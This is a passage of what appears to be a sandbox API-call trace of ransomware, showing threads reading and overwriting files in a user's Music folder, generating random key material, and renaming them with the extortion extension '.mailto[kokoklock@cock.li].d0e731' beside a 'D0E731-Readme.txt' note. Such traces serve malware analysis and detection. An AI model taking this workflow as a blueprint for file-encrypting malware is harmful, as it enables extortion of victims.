lpFileSize=0x233ffa28 | out: lpFileSize=0x233ffa28*=64354) returned 1 [0175.975] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0xfb5e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.975] ReadFile (in: hFile=0x4d0, lpBuffer=0x233ff9fc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x233ff9f8, lpOverlapped=0x0 | out: lpBuffer=0x233ff9fc*, lpNumberOfBytesRead=0x233ff9f8*=0x4, lpOverlapped=0x0) returned 1 [0175.976] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.976] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94a40 [0175.976] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d38 [0175.976] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f949f0 [0175.976] NtQuerySystemTime (in: CurrentTime=0x233ff9d4 | out: CurrentTime=0x233ff9d4*=132121213332951802) returned 0x0 [0175.976] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0x655d8446 [0175.976] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0xcccaa9d7 [0175.976] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0x187f6f7a [0175.976] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0x4904113a [0175.976] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0x55b386e6 [0175.976] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0x392ca6dd [0175.976] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0x32a71fa2 [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0x88432322 [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0xaa450710 [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0x5f4d394b [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0xb7cb7d87 [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0x184f49ff [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0x6bbebd3b [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0x4636643d [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0xe605d810 [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0x5cd6e157 [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0x111f7e28 [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0xed81e010 [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0x96e1a0b7 [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0x32399246 [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0x9cd647a2 [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0x408dc486 [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0xfca1ec54 [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0xd98ba79d [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0x1b2bc688 [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0xc6700ea6 [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0x3935f528 [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0xb9a41002 [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0xc799b713 [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0x4ac56cbb [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0x9c3cc76e [0175.977] RtlRandom (in: Seed=0x233ff9e0 | out: Seed=0x233ff9e0) returned 0x16927989 [0175.988] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.988] ReadFile (in: hFile=0x4d0, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x233ff9ac, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x233ff9ac*=0x4096, lpOverlapped=0x0) returned 1 [0175.989] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.989] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0175.989] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88fa0 [0175.989] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94978 [0175.989] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94978) returned 1 [0175.989] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0175.989] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ba8 [0175.989] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d60 [0175.990] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d60) returned 1 [0175.990] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88fa0) returned 1 [0175.990] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0175.990] WriteFile (in: hFile=0x4d0, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x233ff9ac, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x233ff9ac*=0x4096, lpOverlapped=0x0) returned 1 [0175.990] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0175.990] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0xfb62, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.990] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f94ba8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x233ff9e4, lpOverlapped=0x0 | out: lpBuffer=0x2f94ba8*, lpNumberOfBytesWritten=0x233ff9e4*=0x20, lpOverlapped=0x0) returned 1 [0175.990] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ba8) returned 1 [0175.990] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0175.990] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f94c48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x233ff9f8, lpOverlapped=0x0 | out: lpBuffer=0x2f94c48*, lpNumberOfBytesWritten=0x233ff9f8*=0x8, lpOverlapped=0x0) returned 1 [0175.990] WriteFile (in: hFile=0x4d0, lpBuffer=0x233ffa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x233ff9f8, lpOverlapped=0x0 | out: lpBuffer=0x233ffa10*, lpNumberOfBytesWritten=0x233ff9f8*=0x4, lpOverlapped=0x0) returned 1 [0175.990] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x233ff9f8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x233ff9f8*=0x4, lpOverlapped=0x0) returned 1 [0175.991] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x233ff9f8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x233ff9f8*=0x6c, lpOverlapped=0x0) returned 1 [0175.991] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f94d38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x233ff9f8, lpOverlapped=0x0 | out: lpBuffer=0x2f94d38*, lpNumberOfBytesWritten=0x233ff9f8*=0x20, lpOverlapped=0x0) returned 1 [0175.991] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x233ff9f8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x233ff9f8*=0x4, lpOverlapped=0x0) returned 1 [0175.991] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d38) returned 1 [0175.991] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ab8) returned 1 [0175.991] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94c48) returned 1 [0175.991] CloseHandle (hObject=0x4d0) returned 1 [0175.991] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xfe) returned 0x2f6ca38 [0175.991] wcscpy (in: _Dest=0x2f6ca38, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a.mailto[kokoklock@cock.li].d0e731" [0175.991] wcscat (in: _Dest=0x2f6ca38, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0175.991] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\itti.m4a.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\itti.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0175.992] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.992] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ca38) returned 1 [0175.992] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.992] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8e) returned 0x2fcfe48 [0175.993] wcscpy (in: _Dest=0x2fcfe48, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" [0175.993] wcscat (in: _Dest=0x2fcfe48, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt" [0175.993] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\d0e731-readme.txt")) returned 0x20 [0175.993] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcfe48) returned 1 [0175.993] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa6988) returned 1 [0175.993] RtlExitUserThread (Status=0x1) Thread: id = 2442 os_tid = 0xd5c [0175.995] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\kt2jmdhbpqgjzu_piwy.m4a.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.995] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.996] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\kt2jmdhbpqgjzu_piwy.m4a.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0175.996] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x2347fe10 | out: lpFileSize=0x2347fe10*=8579) returned 1 [0175.996] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x217f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.996] ReadFile (in: hFile=0x4d0, lpBuffer=0x2347fde4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2347fde0, lpOverlapped=0x0 | out: lpBuffer=0x2347fde4*, lpNumberOfBytesRead=0x2347fde0*=0x4, lpOverlapped=0x0) returned 1 [0175.997] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.997] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94a40 [0175.997] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d38 [0175.997] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94a68 [0175.997] NtQuerySystemTime (in: CurrentTime=0x2347fdbc | out: CurrentTime=0x2347fdbc*=132121213333108266) returned 0x0 [0175.997] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0x15edd1b [0175.997] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0x50b4899e [0175.997] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0x94e7a182 [0175.997] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0x555229b1 [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0x99608ca [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0x8ad9455c [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0x227b5022 [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0x6cbabaca [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0xd67bb5c8 [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0x6a830241 [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0x58b176d [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0xd62bce2d [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0xf451ecc9 [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0x87c0ee57 [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0x9740515d [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0xc8260987 [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0xf08690ca [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0x7a89a4fa [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0xb5211dc7 [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0xb9adaecd [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0x69316a63 [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0xf1921c0a [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0xfdce009 [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0x89129aa9 [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0xa40dbf8c [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0x343ee501 [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0x91442da1 [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0x8249c600 [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0xc7ee5e1b [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0xe2f1329 [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0x66ff3b0c [0175.998] RtlRandom (in: Seed=0x2347fdc8 | out: Seed=0x2347fdc8) returned 0xac60ac08 [0176.009] ReadFile (in: hFile=0x4d0, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x2183, lpNumberOfBytesRead=0x2347fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x2347fdbc*=0x2183, lpOverlapped=0x0) returned 1 [0176.010] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2347fd84 | out: lpNewFilePointer=0x0) returned 1 [0176.010] WriteFile (in: hFile=0x4d0, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x2183, lpNumberOfBytesWritten=0x2347fdb8, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x2347fdb8*=0x2183, lpOverlapped=0x0) returned 1 [0176.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ba8 [0176.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d60 [0176.010] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d60) returned 1 [0176.010] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f94ba8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2347fdb4, lpOverlapped=0x0 | out: lpBuffer=0x2f94ba8*, lpNumberOfBytesWritten=0x2347fdb4*=0x20, lpOverlapped=0x0) returned 1 [0176.010] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ba8) returned 1 [0176.010] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0176.011] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0176.011] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88fa0) returned 1 [0176.011] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0176.011] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f94c48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2347fde0, lpOverlapped=0x0 | out: lpBuffer=0x2f94c48*, lpNumberOfBytesWritten=0x2347fde0*=0x8, lpOverlapped=0x0) returned 1 [0176.011] WriteFile (in: hFile=0x4d0, lpBuffer=0x2347fdf8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2347fde0, lpOverlapped=0x0 | out: lpBuffer=0x2347fdf8*, lpNumberOfBytesWritten=0x2347fde0*=0x4, lpOverlapped=0x0) returned 1 [0176.011] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2347fde0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2347fde0*=0x4, lpOverlapped=0x0) returned 1 [0176.011] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2347fde0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2347fde0*=0x6c, lpOverlapped=0x0) returned 1 [0176.011] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f94d38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2347fde0, lpOverlapped=0x0 | out: lpBuffer=0x2f94d38*, lpNumberOfBytesWritten=0x2347fde0*=0x20, lpOverlapped=0x0) returned 1 [0176.011] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2347fde0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2347fde0*=0x4, lpOverlapped=0x0) returned 1 [0176.011] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d38) returned 1 [0176.011] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ab8) returned 1 [0176.011] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94c48) returned 1 [0176.011] CloseHandle (hObject=0x4d0) returned 1 [0176.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x11c) returned 0x2fa5100 [0176.012] wcscpy (in: _Dest=0x2fa5100, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a.mailto[kokoklock@cock.li].d0e731" [0176.012] wcscat (in: _Dest=0x2fa5100, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0176.012] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\kt2jmdhbpqgjzu_piwy.m4a.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\kt2jmdhbpqgjzu_piwy.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0176.016] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.016] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa5100) returned 1 [0176.016] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.017] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8e) returned 0x2fcfe48 [0176.017] wcscpy (in: _Dest=0x2fcfe48, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" [0176.017] wcscat (in: _Dest=0x2fcfe48, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt" [0176.017] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\d0e731-readme.txt")) returned 0x20 [0176.017] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcfe48) returned 1 [0176.017] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98890) returned 1 [0176.017] RtlExitUserThread (Status=0x1) Thread: id = 2443 os_tid = 0xe4c [0176.018] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\p2fabivq8u_s.wav.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.018] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav.mailto[kokoklock@cock.li].d0e731", 